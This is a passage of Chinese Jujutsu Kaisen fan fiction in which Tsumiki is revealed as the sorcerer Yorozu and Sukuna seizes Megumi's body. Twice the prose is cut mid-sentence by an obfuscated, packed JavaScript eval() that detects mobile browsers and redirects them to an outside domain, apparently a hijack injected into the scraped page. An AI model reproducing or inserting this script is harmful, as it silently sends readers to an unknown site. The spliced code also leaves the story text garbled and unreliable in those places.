看着日照消失在树影中,五条悟准备回到阿依努咒术联盟继续处理未尽的事务,他边走边说:“好闲啊,感觉突然放了一个长假。” 乙骨忧太跟在他身边:“说起来,老师一年到头都在工作呢。” “这就是成年人啊~有的时候就算是我也会觉得七海说得有道理呢。” “七海先生?他说过什么吗?” “嗯,比如咒术师和劳动都是狗屎之类的?” “诶!?” 24. 倒计时 2018年11月14日,东京,“窗”总部,18时49分。 “我还是第一次来这里!”虎杖悠仁跟在伊地知洁高的后面,走进了一栋办公大楼。从外表上看,这里是再普通不过的办公楼,只不过从进门开始,里面就到处充斥着咒术的元素。 门口被设置了结界术,像是安检门一样扫视着每一个进入这里的人。伏黑惠体会着穿越屏障的感觉,这里的屏障比起“隐藏”更注重“保护”和“侦查”,确保每一个进入总部的人都是同伴。 “是的,因为你们都是第一次来到总部,和入学高专时一样,大家都需要登记一下咒力信息,”伊地知洁高带着他们走向一层大门旁的办公室,“和我来这边吧。” 大家自然不会拒绝。 在他们登记咒力信息的同时,伊地知洁高开始联系他们的晚餐。 “总部没有食堂吗?”虎杖悠仁第一个走出来,探头探脑地四下张望。高专是有食堂的,因为学生的人数太少,所以做起饭来也很随性,偶尔他们会接到通知说需要他们自行解决。当然,对于少年人来说,这代表着他们能够离开高专去市里吃点好吃的。 伊地知洁高看起来有点汗流浃背了:“嗯......辅助监督们只有在汇报工作的时候才会来到总部,在这里工作的固定职员非常少,所以并没有想过要加盖一个厨房。现在是特殊时期,逗留在总部的人数才增多了。抱歉,只能让你们自行解决餐食的问题。” “不不,能有地方休息就已经很好了,伊地知先生!” “如果有订购的货物需要收取,可以填写一层的地址,不过所有的物品都需要经过工作人员的确认才行,”伊地知洁高叮嘱道,“不会拆开看,但是需要检测咒力残留,请各位放心。” “好贴心啊!” “我们也只能尽可能为各位战斗的咒术师提供帮助了。”伊地知洁高翻看着手中的记事本,查看自己是否还有漏掉的工作。 “走吧虎杖,先上去选个房间。”伏黑惠站在电梯口等着虎杖悠仁。 众人乘坐电梯来到高层,三层往上都是空房间,下面两层是办公区。 “啊啦,小惠!”他们刚下电梯,就听见有一道女声在走廊中响起。 “......津美纪。”伏黑惠沉声喊出了她的名字。 伏黑津美纪还坐在轮椅上,不过已经不需要别人帮忙行动了。虽然还不能长久地行走,但她的身体状况正在飞速好转。也许也有大脑被改造了的原因在吧? 知道伏黑惠别扭的性格,伏黑津美纪主动和他们打招呼:“你们是小惠的朋友吧?多谢你们照顾我家小惠啦!” “是津美纪姐姐啊!没有啦,一直都是伏黑在照顾我!”虎杖悠仁回应,然后趁着伏黑惠和津美纪说话的时候和来栖华跑到后面调侃他。 “没想到那家伙是会在家人面前装深沉的类型啊!” “是啊是啊,真是没想到~” “......你们两个够了!我听得见!” 日车宽见、甘井凛和胀相没有打扰他们,各自选好了房间先去收拾东西,等到待会儿吃晚饭的时候还能再聚到一起。 “身体还有什么不适吗?能......使用术式了吗?”伏黑惠问道。 伏黑津美纪搭在腿上的双手握在了一起,有些不好意思地说:“走路的话,时间太久还是会有些疲劳,至于你说的术式......抱歉小惠,我是不是很没天赋?” 伏黑惠能看出津美纪身上的咒力量并不多,而且流动的方向非常混乱。恐怕正如她自己所说,并不是能当咒术师的料子。 “不,这样最好。” 津美纪不需要战斗。等她脱离了死灭洄游,她的生活就能回归正轨,去见想见的朋友,继续完成她的学业。尽管会受到能够看见咒灵的困扰,但她不必踏入这个咒术界。 “呵呵。” “......你在笑什么?” 伏黑津美纪说:“你还是和以前一样呢,小惠。” “伏黑!待会儿见!”虎杖悠仁去找胀相了,伏黑津美纪带着来栖华去了女孩子们住的那一边,伏黑惠看着她们说笑着离开,也就转身去找自己的屋子了。 她是不是穿得有点少?一年多的卧床时间让伏黑津美纪的肌肉出现了一定程度的萎缩,原本就体型纤瘦的少女看起来更加弱不禁风,带着手链的手腕上骨节突出,藏在宽大的袖口里。 伏黑惠迎面撞上了坐着电梯上来的枷场姐妹。 “啊!你回来了啊伏黑!”枷场菜菜子和美美子虽然也是双子,但还是非常容易区分她们的。枷场菜菜子皮肤偏黑,烫了一头金发,从发带、美甲到手机壳全都是时下流行的最新款式。美美子就显得更“乖”一些,有些内向寡言,留着高中生最普通的发型,经常抱着她的玩偶。 “菜菜子......”枷场美美子似乎有话想说,她向女孩子们住的那一侧张望了一下,不知道有没有看到她想要知道的信息。 “有空吗伏黑?”枷场菜菜子指了指天台的方向。 “有什么事吗,枷场前辈?”伏黑惠不明所以,但还是跟着她们去了天台。 两个女孩子挽着胳膊,挤挤挨挨地靠在一起看手机。明明是她们把伏黑惠叫上来的,但现在又不肯直说到底是什么事情。 “你们再这样我可就直接走了。” “诶?等一下啦伏黑!呃......”居然还有能让枷场菜菜子犹豫这么久的事,这让伏黑惠把最近发生的所有事情都回想了一遍,未果。 枷场菜菜子偷偷摸摸地凑到伏黑惠的身边,美美子也靠了过来把他围住:“我们是想问——你姐姐喜欢虎杖吗?” 伏黑惠大脑宕机了一瞬间。谁?和谁? “他们俩都不可能认识的啊!?” “问题就是这个啊!”枷场菜菜子重重地点头,几乎要把手机戳到伏黑惠的眼睛里:“她上周至少问了我五个关于虎杖的问题......你确定他们不认识吗?” 这不可能啊,伏黑惠在找到虎杖悠仁之后,他们几乎一直待在一块儿。虎杖悠仁上了高中才有了自己的手机,他又不是网络成瘾,这一路上伏黑惠就几乎没看见过他玩手机。如果说是他们分开的时候......在东京第1结界里?那更不可能,因为结界里没有信号。 枷场美美子抱紧了玩偶。 任凭伏黑惠怎么想都想不通。不过......有可能他们并不认识,只是津美纪单方面知道了发生在虎杖身上的事情,因为虎杖是自己的同学,所以下意识地关心着。她是个不容置疑的善人,总会为了与自己无关的人而忧心。 所以她比所有人都更有资格获得幸福。 “这件事,你们还和别人说了吗?” 枷场姐妹并不是那种会四处传播谣言的人。这只是她们的猜测,如今得到了的否认,那么这件事自然也就烟消云散,再也不会被提起了。 “我知道了,我会和津美纪聊聊的。” 伊地知洁高通知他们下去吃饭,伏黑惠先下楼,枷场姐妹说她们一会儿就去。 枷场美美子扯了扯菜菜子的衣角。 “菜菜子,”她小心翼翼又笃信地说道,“伏黑的姐姐有点奇怪。” “算了,伏黑才是最了解她的人,本人都说不清楚的事我们就不要管啦。不知道夏油大人什么时候回来......啊!我们的炸鸡到了!” “......”枷场美美子跟在菜菜子的身后下楼了。 送快递的小哥绷着脸把炸鸡交到她们手上,确认付款完成之后就迅速离开了。 枷场姐妹站在门前没有动。炸鸡的热气透过纸盒和塑料袋传递到了枷场菜菜子的手掌,有一道身影堵在门前。身高和看起来就不好惹的气质吓跑了快递小哥,日照发誓他不是故意摆臭脸,但不管是谁一口气从北海道坐到东京都会因为被困在车厢里的七个小时而感到窒息。 他开始怀念深山老林了。 “真悠闲啊,”日照向上提了提网球袋,“就不怕他给这里来一发【仳】?” 黑发、单眼眼罩,这个样子......日照弥山!?枷场菜菜子举起手机摄像头对准了他:“美美子!!” 日照在她们头上拍了一下,哄小孩似的推开两个小姑娘走进了门。 “哈!?你这家伙!!” 夏油杰跟他提起过她们,应该是姓......枷场还是栏场来着? 端着水杯经过门口的伏黑惠处变不惊:“日照前辈?你来总部这边是有什么事吗?” “我要来东京找人,顺便看看宿傩的容器。” “哦!我是虎杖悠仁!当时真是谢谢你了日照先生!!”粉发的少年主动过来打招呼。 日照凑近了观察一番,发现虎杖悠仁的身体并没有什么异样。作为一个容器最重要的就是稳定,再加上对身体的绝对掌控能力,虎杖悠仁的确非常优秀。 “你现在身体里有多少手指了?” 虎杖悠仁算了算:“我记得......是15根?” 五条悟让虎杖悠仁吞下了2根手指,剩下还有2根是在任务中非自愿吞下的,也就是说在涩谷的时候,虎杖悠仁是因为直接吞下了11根手指才失去了身体的掌控权。就算让他再一次性吞下剩余的5根手指,应该也不会出现灵魂长时间被宿傩压制的情况,因为身体的适应速度会因为那11根的先例而变得更快。 更何况五条悟根本不打算让这个孩子吞下所有的手指吧?他总是在这种地方费一些小心思,特别在是关于学生们的事情上。 现在假设带着【无下限咒术】在东京出现的是羂索本人,想要让场子变得更疯狂,最好的选择就是把宿傩放出来,他自己浑水摸鱼等着坐收渔翁之利。如果他胆子再大一点,就像日照说的,可以直接找到这里用【仳】,连楼带人一起消解。 不过目前日照还没有感受到“共鸣”,那个人手咒物并不在附近。 “悟和我说你们准备增加脱离死灭洄游的规则?为什么还没实行?”日照跟着伊地知洁高去登记咒力,问道。 “因为还没有决定好替代津美纪成为泳者的人。”伏黑惠还没有和津美纪提起过交替泳者资格的事情,他觉得说服津美纪也是一项巨大的工程。 “这样啊,”日照在人群中发现了日车宽见,对方看了他一眼就转头看向别处,“在找到【无下限咒术】之前,虎杖跟我待在一块儿吧?” 突然被分配的虎杖悠仁指着自己:“诶?可以是可以......我们要怎么找五条老师的术式啊?” 日照摊手:“也许是开着车在城里转悠?” “那是什么方法啊!” 伏黑惠单手插兜。应该是和五条老师谈过了吧,突然变得这么好说话。 “不过,在我跟你走之前,我得帮伏黑把津美纪姐姐的事情搞定。” 他们几个人堵在门口,把正在圆桌旁吃饭的来栖华吸引了过来。其实是天使让她过去的,她本人并不想和日照搭话。 “我也得跟在他旁边。”天使在来栖华脸上张开嘴巴说道。 日照对此倒没什么想法,天使的术式也很好用。 “其实你们应该留在这里的,”天使说,“既然知道羂索一定会有针对你们的计划,再继续在外面转悠只是徒增风险。” “没用的,那个老狐狸的计划不会让我们提前猜到。等在这里、走在外面都没什么区别,遇到了再说。” 无从算计、不知目的,只有被羂索用刀架着脖子时才能发现自己已经被当成了猎物。唯一可能的反制手段也因为万的下落不明而不得不搁置一旁......不过好在最多只用等待5天。 “大家都在啊,”伏黑津美纪坐在轮椅上,缓缓从大厅靠了过来,“我做了一些点心,一起来尝尝吧?” 虽然是在对所有人说话,但她的目光落在了日照的身上。凭借着对视线的敏锐感知,日照第一时间回看了过去。 “?” 咒力的流动有些奇怪,因为没有运转术式所以看不出具体的效果。 “这是我姐姐津美纪。我们想帮她脱离死灭洄游,现在距离她不得不宣誓参加死灭洄游还有不到5天的时间。”伏黑惠介绍道。 “人选的事我可帮不上忙,你们自己解决吧。”日照既没有认识的人,也没有办法帮他们。 “人选?”伏黑津美纪似乎还不清楚他们在说什么。 伏黑惠单独和她解释了他们的计划,他正在准备说服津美纪的说辞,但没想到她的反应比他预期的要平淡很多。伏黑津美纪只是双手交叠捂住了嘴巴,好像很难办地说道:“人选原来是这个意思啊,不过要找普通人的话......” “伏黑同学,”打断他们的是伊地知洁高,“人选的话,我可以。” 伊地知洁高说:“只是多了一个泳者的身份, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137755|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在可以自由出入结界,对我的工作并不会产生多大的影响。” “但是......”伏黑津美纪还是有些犹豫。 “多谢,伊地知先生。”伏黑惠接受了伊地知洁高的好意。这位辅助监督一直负责他们的各项事务,听说因为能够忍受五条悟所以受到其他辅助监督们的尊敬。 “在我离开的这段时间还有新田他们可以代替我继续组织工作,这一点请不用担心。” 在得到了伊地知洁高的承诺之后,伏黑津美纪终于点头:“那么就拜托你了,伊地知先生。” 她皱着眉毛,有些苦涩地笑着,似乎是因为给别人带去了不必要的麻烦而烦恼着。她的眼睛转过来时,正好对上了正在看她的日照。 “那我们明天就开始吗?”虎杖悠仁问。 伏黑惠考虑得更周全一些:“不,待会儿我先增加脱离死灭洄游的规则。明天咱们需要先去结界内准备,要找到所有的传送点,准备就绪之后再让津美纪进入结界。” 他看了一下伏黑津美纪的轮椅。虽然不太希望她接触咒术,但至少得让她在进入结界前学会用咒术强化身体,这样在随机传送的过程中可以减少受伤的几率。 “传送点?啊,你是说在进入结界的时候会被随机传送的事?”日照插入他们的谈话:“那是个BUG,据说只要不回答小金的问题就可以避免被传送。不然的话那些军人不可能在进去之后还能保持完整的队伍。” 这是日照从奎尔口中问出来的。 “太好了!这样的话就不用害怕津美纪姐姐会被传送到天空上去了。” “那么这样的话,明天我们就可以去最近的结界了。”伏黑惠感觉心中的一块大石头落了地。 他们还要讨论一下具体的时间和实施方案,日照绕过他们去了大厅一角的圆桌方向。伊地知洁高联系的基本上都是一些快餐,看起来并不是按照人头准备的,日照从未开封的餐盒中随便选了一个,顶着日车宽见看神经病的眼神坐在了他的对面。 掀开盖子,他挑中的这个是牛肉饭套餐,有些凉了的肥牛上浇了生鸡蛋和葱花,日照拆了一套餐具搅拌起来。 “怎么这样看着我?律师先生?” 日车宽见垂下眼睛:“没什么。” “想不到我这样的人也能跟他们混到一起去?” 日车宽见没有回答,但他的确就是这么想的。 “说是混到一块儿也太看得起我了,我和他们之间可是有代沟的,很大的那种,”凉掉的牛肉饭只能勉强填饱肚子,说不上好吃,“只能说暂时没有冲突。” 日车宽见看向人群中笑着的虎杖悠仁。 “很耀眼?” 已经枯萎的人赞同了他的说法:“......让人不敢直视。” 日照托着腮帮子咀嚼。 “律师先生,你说人要怎么做才能完全理解另一个人的想法呢?” 日照知道日车宽见似乎是因为虎杖悠仁而感到无地自容,他的眼神中带着憧憬和羡慕,还有些许的怀念。日照明明知道这些感情,却无法理解为什么。像是在解数学题的时候,他只是看到题目就知道下一步应该使用什么公式,也能得出最正确的解。但是“知道”和“理解”是不同的。 答案是通过观察和学习直接跃然纸上的,并没有经过他的大脑和心。 所以他无法理解为什么夏油杰总说他和五条悟会觉得遗憾。 顺带一提,在初中的时候日照的国文总能考到接近满分的成绩。 日车宽见很讨厌回答这样宽泛又没有准确答案的问题。 他觉得能够问出这种问题的日照很幼稚:“做不到的吧?哪有人能和别人感同身受啊。” 一盒牛肉饭很快就见了底。日照将餐盒丢掉,准备上楼睡觉,留下日车宽见自己在原地沉思。 “哼哼,就算是共用一具身体也无法彻底理解你,”日照面对着电梯轿厢近似玻璃的反光面,“真是难搞的男人啊~” 理所当然的,并没有人搭理他。 他心情极好地哼着歌走向空房间。 夜深了,大厅里除了枷场姐妹还凑在一起玩手机,其他人都逐渐散去。伏黑惠和虎杖悠仁、来栖华约好明天预定的行动时间,胀相虽然也想去,但他明天得帮枷场姐妹去解决一个跑到结界外的特级咒灵。这是个会飞的咒灵,它根本就不落到地面上来,只有胀相的“穿血”能打到它。 可惜京都高专的加茂宪纪还没有回到总部,不然他也能帮上忙。 “说起来,二年级的前辈们呢?” “真希学姐明早就能到,她刚才给我发消息说有事找日照前辈。”伏黑惠指了指手机,所以他们明天将计划定在了下午。 乙骨忧太进入了青森附近的结界,狗卷棘和熊猫在一起,和夜蛾正道一起护送家入硝子到总部来。三年级的秤金次和星绮罗罗根本是在乱窜一通,不知道什么时候才能过来。 虎杖悠仁关上了房门。 再一次见到日照,把他的记忆又拉回了那片猩红色的地狱。说起来,钉崎和那个叫丽美的女孩不是去执行任务了吗,也不知道她们顺不顺利......外面的世界果然还是一模一样的啊,容易滋生诅咒的地方需要咒术师继续巡逻排查,出现伤人的咒灵更需要他们去解决。和前几个月的世界没有任何变化。 笃笃。 有人敲门。 虎杖悠仁拖着脚步走到门口:“伏黑?” “晚上好虎杖同学,”伏黑津美纪站在虎杖悠仁房间的门口,手上端着一个盘子,“我来给你送点宵夜。” “津美纪姐姐?喔......多谢?” 虎杖悠仁从伏黑津美纪手中接过了盘子,托盘上放着三个看上去像是和果子的点心。 “你的轮椅呢?这么站着没问题吗?”虎杖悠仁看向走廊,伏黑津美纪的笑容很温柔,但莫名让他觉得有些摸不着头脑。 一丝违和感。 “稍微站一会儿没问题的。一定要记得吃哦,虎杖同学。”她似乎特意将虎杖悠仁的名字叫得极重,隐隐约约带上了一些压迫感。 虎杖悠仁探出头,看着伏黑津美纪背着手走向另一侧。黑色的马尾随着她的步伐摇动着,晃晃荡荡。 少年盯着她的背影看了一会儿,还是找不到那点违和感的来源,只能挠着头回到房间。 他尝了一口点心:“......是荻饼啊。” 25. 孽海涌潮 日照看着禅院真希和真依。 “那个会【构筑术式】的就是你啊。” 禅院真希也在审视着日照。她找上日照的原因很简单,就是他有可能让禅院真希拥有伏黑甚尔那样极致的天与咒缚。她不觉得有人能将相连的灵魂分开,但还是抱着一丝希望找到了伏黑甚尔提到的那个人。 禅院真依在被救出噸之间后就一直很沉默。她知道真希只能当一个半吊子就是因为她们作为双子降生,如果她不愿意努力的话,真希永远不可能继续前进。 “甚尔说你......” 日照一眼就看出来她们为什么来找他,没让禅院真希把话说完:“嗯我能做到。” 禅院真希被自己没说完的话噎了一下,日照继续说道:“但是看起来你们并没有商量好。想好了再来找我。” 她看向沉默不语的妹妹。 日照到天台上吹风的时候发现伏黑惠和虎杖悠仁也在。 “怎么?”他们俩的脸色看起来都有点奇怪,日照随口问了一句。 “也不是什么特别重要的事,”虎杖悠仁将昨晚伏黑津美纪送点心的事情复述了一遍,“津美纪姐姐对谁都这么热情吗?” “伏黑呢?她不是你姐姐吗?”日照不觉得这是什么值得在意的事情。他已经用右眼观察过伏黑津美纪,她身上的咒力虽然有点乱,但并没有“超越轮廓”的情况。这么说也许有些抽象,但就像真人因为术式可以触摸灵魂一样,日照因为长时间的受肉也能看到灵魂的轮廓。 这也是他的攻击和虎杖悠仁一样能够伤及灵魂的原因。 用六眼观察咒力看穿受肉者的事情只有五条悟能做到,日照的伪六眼做不到这一点。他只是在观察咒力流动的同时观察那些轮廓的边缘,灵魂与肉|体不符的时候轮廓会出现重影。 “要说唯一有些不对劲的地方,”伏黑惠瞥了一眼虎杖悠仁,“她对虎杖太热情了。” 虎杖悠仁露出豆豆眼:“别伤心伏黑,津美纪姐姐最喜欢的肯定是你呀。” 伏黑惠的额角爆出十字:“我说的不是这个意思!” “还有一个办法,”日照叫出小金,从分数排行榜上指了几个名字,“受肉的古代术师们的名字,如果抹杀了容器的意识,像石流龙、乌鹭亨子或者鹿紫云一,他们在参加死灭洄游的时候会显示本名。如果选择共生,那就是容器的名字。” 他有点了点虎杖悠仁和他自己。来栖华和天使也可以佐证这一点。 伏黑惠皱眉:“这不太可能吧,如果真的是古代术师在伪装......怎么可能这么像?” 连气质都一模一样。 “但是你们现在在怀疑吧?反正下午都会宣誓参加游戏,到时候留意一下名字的问题就好了。” 伏黑惠还是有些难以接受,但他不得不承认最糟糕的可能性也是会发生的。如果伏黑津美纪不是觉醒型而是受肉型泳者......他拒绝思考这种可能性,可伏黑津美纪的举动的确有些古怪。 “伏黑,眉头皱得好厉害。”虎杖悠仁拍了拍他的肩膀。 “别担心啦!津美纪姐姐现在不是好好的吗?很快就能确定了,再等半天吧。” 伏黑惠吐出一口气:“......谢谢你,虎杖。” 日照在旁边怪叫:“啊青春啊!” 天台的门发出年久失修的“吱呀”声,找过来的是禅院真希和真依。 日照仰着头躺在长椅上:“想好了?” 禅院真希郑重道:“决定了。” 她必须变得更强,这样才能给真依和母亲一个完整的家。她也明白,这份上进迫使她拉扯着真依,让她痛苦万分。 日照的视线在虎杖悠仁身上转了一圈,开口赶人:“我想我们需要一个独立一些的空间。” 伏黑惠心领神会,扯着虎杖悠仁的兜帽将人拉走了。 “所以,甚尔说你就像个许愿机一样,不过要付出相应的代价。”禅院真希从没听五条悟或夏油杰提起过这样一个人,如果真如伏黑甚尔所说,日照的术式近乎是万能的,不可能在咒术界籍籍无名才对。 “别听他瞎说,我的术式还有很多事做不到。”日照调整了一下姿势,在长椅上坐好。 “先来选择支付代价的方式吧,”他比出一个数字‘三’的手势,“第一种,交给命运。第二种,我们商量着来。第三种,我来选。” 禅院真希啧舌:“这么复杂?” 日照耸肩:“比起无下限还是简单很多的。选择支付代价的方式,无非就是选择用谁的价值标准来当做天平的砝码。同样的东西在每个人心里有不一样的价值,所以在使用术式的时候有可能会被各个主体影响。简单地来说,就是比较主观。” 他看禅院真希开始沉默,笑嘻嘻地说:“但是,可以撒谎哦。只要你能骗得过自己。” “分期付款?” “这就要看你了。” 她选择了第二种,日照没有多说什么。 “我会公开术式的部分内容,千万不要说出去哦。” 日照弥山的术式名为【代理人】。个体拥有“过去”、“现在”、“未来”三种状态,日照弥山能够“抓取”一种状态中的某种可能性,将之“变为现实”,甚至可以使其“获得强化”。 简单地描述,就像是撑开一根橡皮筋,在不动它的情况下就是“现在”。术式发动后,日照弥山可以选择前后拉动橡皮筋,这就是在“抓取”来自“过去”、“未来”的可能性。他也可以选择固定“现在”,像是在湍急的洋流中固定住了一个锚点。 举个例子的话,失去【无下限咒术】的五条悟是“现在”,但他的过去曾拥有【无下限咒术】,日照使用【代理人】就可以让五条悟暂时恢复术式。这就是为什么五条悟和真人进行领域战的时候他可以把术式附加到领域上,一举击溃真人。 在这一阶段中,橡皮筋是完整的,所以在术式生效时间过后,术式对象的状态会回到术式生效那一刻被固定住的“现在”。日照就是这样让被爆头的丽美“复活”的。他抓住了她还活着的瞬间,即便下一秒她的头被打烂,只要日照结束术式,丽美就会回到她还活着的“现在”。 这就是【代理人】的第一阶段。 第二阶段意味着橡皮筋会被扯断,这个时候就需要选择支付的代价了。破损的橡皮筋代表了术式效果突破了他的束缚,时限不再限于术式对象的咒力,而是双方摆到天平上交易的东西。 “要想好哦,我个人不建议拖得太久,毕竟时间越长风险越高。” 日照开始吟诵咒词,手印比在胸前。 在砝码落下、天平静止的那一刻,新的“现在”诞生了。 “感觉如何?” 禅院真希握拳又松开,和真依相似的短发在气浪止歇后落下,望向日照:“状态绝佳!” 禅院真依握着手臂,眼神一直没有从真希的身上离开。她能感觉到有什么联系断开了,这让她失落万分,同时又一丝隐秘的轻松。 提前离开天台的伏黑惠和虎杖悠仁撞上了正在收拾东西的伏黑津美纪。 “虽然伊地知先生说过不用带什么东西,但是我还是有点不放心......哈哈,我应该是有点太紧张了。”伏黑津美纪将头发捋到耳后,有些苦恼地笑道。 津美纪从没变过,伏黑惠想道。他看着虎杖悠仁安慰伏黑津美纪,她搭在轮椅扶手上的衣袖下露出一截手链。 大概是他看得太明显,伏黑津美纪发现了:“啊,小惠在看这个?这个是一花送来的礼物,她听说我醒过来了还想要来看我,但是这个状态也没办法......” 伏黑惠知道那是津美纪的朋友:“等过几天安顿好了,我可以带你去找她。” “呵呵,那就谢谢小惠啦。” 天台上传来的咒力波动连虎杖悠仁都察觉到了。 “不知道怎么形容,总之就是好厉害的感觉!”他算是比较顿感的类型,面对过最有压迫感的敌人是那个脑袋上顶着富士山的咒灵。 伏黑惠看到津美纪在笑:“怎么了?” 她说:“没什么,就是感觉小惠现在和这么多厉害的人成为了同伴——” “——真的很不错。” 2018年11月15日,东京第1结界外,14时27分。 他们似乎撞上了一个游行的队伍。最近偶尔会有人在社交网络上发起游行招募,从他们打起的标语来看,这次是为了祭奠10月31日在涩谷事变中不幸遇难的人。为了避免出现疫病,相关机构以最快的速度安葬了涩谷街头所有的遗体,但还有一部分失踪人员至今下落不明。 不管是为了悼念还是想要从政府那里拿到抚恤金,失去亲人们的家属捧着亡人的遗像,长长的队伍像是一场集体送葬。 伏黑惠扫过那些陌生的名字,高桥健太、佐藤美咲、橘一花、宫本莲、铃木阳菜......他低下了头。 “津美纪小姐,切记一定不要回应小金。”伊地知洁高推着轮椅,将伏黑津美纪送到了结界的边缘。 “他们就在里面,”伏黑惠向津美纪伸出了手,“不用害怕。” “嗯、好。”伏黑津美纪带了一个小布包。 结界内,日照站在一旁尝试寻找“共鸣”,来栖华和虎杖悠仁站在一起。昨晚已经由伏黑惠增加了《总则12》,即泳者将与自己所持分数等量的新泳者召入作为自己的替代者的话,就可以脱离死灭洄游。 伏黑惠拉着津美纪进入了结界。 日照看起来漫不经心,但其实一直都在关注着小金显示出的名单。当伏黑津美纪来到他们面前后,他看见榜单上新出现了“伏黑津美纪”这个名字。 这下他们多少能放心了吧。 伏黑津美纪成为泳者后的基础分数是5分。看来伏黑津美纪并非例外,羂索的确改造了她的大脑,让其成为能够使用术式的结构,只是她本人还没能领悟其中的关窍而已。 “好了,接下来只需要......” 伏黑惠话还没说完,听到津美纪惊诧地轻呼:“小惠!我好像......这是?” 伏黑津美纪的手上出现了一个黑色的小圆球。 在这种时间突然!?伏黑惠知道这应该就是津美纪的术式了,他看不出来究竟是什么,所以只能求助于日照。 被叫过来的日照向伏黑津美纪靠近,颜色浅淡的右眼扫过她体内咒力的流向。奇怪,为什么还是这么混乱? 此时此刻。 伏黑惠和日照围在津美纪的身边,虎杖悠仁和来栖华站在稍远一点的地方。 漆黑的、像是液态金属构成的圆球在伏黑津美纪掌心上方微微浮动。日照的手伸向雷切,伏黑惠的冷汗瞬间冒了出来。他们同时察觉到了来自身后异质的咒力,那是他们再熟悉不过的、压倒性的邪恶。 宿傩的嘴巴出现在了虎杖悠仁的脸颊,说出了被他遗忘的“钥匙”—— “契阔。” 在东京高专一年级三人执行少年院的任务中,虎杖悠仁曾“死去”过一次。如果以普通咒术师的基准来看,失去心脏无疑与死亡是同等的意义。但虎杖悠仁的体内有宿傩存在,现代没有人知道、也无从知晓宿傩即便失去心脏也不会立刻死亡,他的咒力在虎杖悠仁强行夺回身体、主动赴死后也依然维持着这具躯体的生机。 他们在生得领域中定下了“束缚”。 在宿傩说出“契阔”之后的一分钟里,虎杖悠仁要把身体的所有权交给他。但是在这短短的一分钟里,宿傩不能伤人,更不能杀人。 来不及思考为什么宿傩会在这个时候出来,日照比伏黑惠更快地转身。【代理人】锁定了粉发少年的身体,咒力的唤起与使用术式之间无缝衔接。只要“抓取”过去,就像在涩谷时那样——!! 日照对上了宿傩四只猩红的眼眸。一把短刀从后脑插入他的头颅,贯穿了右眼。 “哈哈、哈哈哈哈哈哈哈!!!” 这小子的动作的确快得可怕,刚才的刹那宿傩已经感受到灵魂的摇曳,但是那把来自背后的刀扭转了战局。 他以最快的速度掐晕了身边的来栖华。 “什......!?” 伏黑惠的大脑停止了思考。一边是狂笑的两面宿傩,一边是神情扭曲、手持利刃的伏黑津美纪。他近乎机械式地顺着那柄形状奇特的刀刃向前看去,随着捅穿大脑的刀被拔出,红白相间的混合物四处飞溅。 日照瞬间向前倒了下去,生死不知。 “为什么......你究竟是谁!!?”伏黑惠崩溃绝望地吼道。 占据伏黑津美纪身体的人扯掉手腕上的链条,全然不同的咒力爆发了出来。她像是被伏黑惠即将落入地狱一般的表情取悦到了,兴奋地啸叫着:“我是你的姐姐啊!!!!” 宿傩撩起额前的头发,嗤笑一声:“疯女人。” 他承认接下来有赌的成分在,但手起刀落间不带丝毫犹豫地切掉了虎杖悠仁的左手小指。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137756|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没有惩罚。 “哈哈哈哈哈哈哈哈哈!!!这个小鬼!!!” 不能伤人的束缚果然没有算上他自己!!! 伏黑惠觉得自己的灵魂已经脱离了身体,以一种更高的姿态审视着当下发生的一切。失去灵魂的身躯看向了倒在血泊中、黑色瞳仁已经失去高光的日照,身体更快一步地做出了决定。他看着自己摆出了召唤魔虚罗的手势,可还没等他念出布瑠之言,身旁的人便将他的手臂扯离了原位,阻止他结印。 “我是万,”用伏黑津美纪的脸邪笑着的人在他耳边说道,“重新认识一下吧,小惠~” 宿傩已经来到了伏黑惠面前,将刚刚切下的手指塞入他的口中。 在生得领域中拼命挣扎的虎杖悠仁回到了自己的身体里。他熟悉的同伴脸上浮现出了漆黑的咒纹,一对副眼睁开,毫不留情地嘲笑着他的天真:“我说过之后会发生有意思的事,小鬼!!” 2018年11月15日,14时32分。两面宿傩受肉伏黑惠。 —— 北海道神居古潭。 天元开口:“宿傩现世了。” 五条悟从凳子上起身,迅速拨通了日照的电话。无人接听。 在他挂断的同时,夏油杰的电话打了进来,在摁下接听键后好友的声音劈头盖脸地砸了过来:“悟!宿傩......” 五条悟刚向外走了两步,突然回头看向天元。不死的术师在瞬间完成了进化,本应早就完成的【代理人】术式在此时此刻才迎来真正的结束。 “我说,”他的声音低得不像话,平日里吊儿郎当的人瞬间酝酿起压抑的怒火,“你这老家伙骗了他?” 天元的回应是闭上了眼睛。 五条悟没空和祂扯皮,快步离开薨星宫。守在结界外的阿依努咒术师不明所以,五条悟只叮嘱他们除了他以外,任何人都不允许靠近神居古潭的净界。 包括夏油杰。 电话听筒那边的声音断了一瞬,随即五条悟听到了九十九由基的声音。 “不,你们继续守在那里,”五条悟瞬间做出判断,“先等等。” 等到这场突变最后的结果出来。 —— 万舒展身体伸了个懒腰,这些天她被迫只能坐在轮椅上,身体早就生锈了。她在自己的身后构筑出一对昆虫翅膀,向宿傩献出一个飞吻:“你还要准备吧?没关系,我在老地方等你~” 宿傩歪歪脑袋,万也不在乎他的态度,径直飞出了结界。 结界外游行的队伍中,一个女人看到了万。 “伏黑......津美纪?”她抱着女儿橘一花的遗像,哭肿的双眼恍惚间仿佛看到了女儿的朋友。 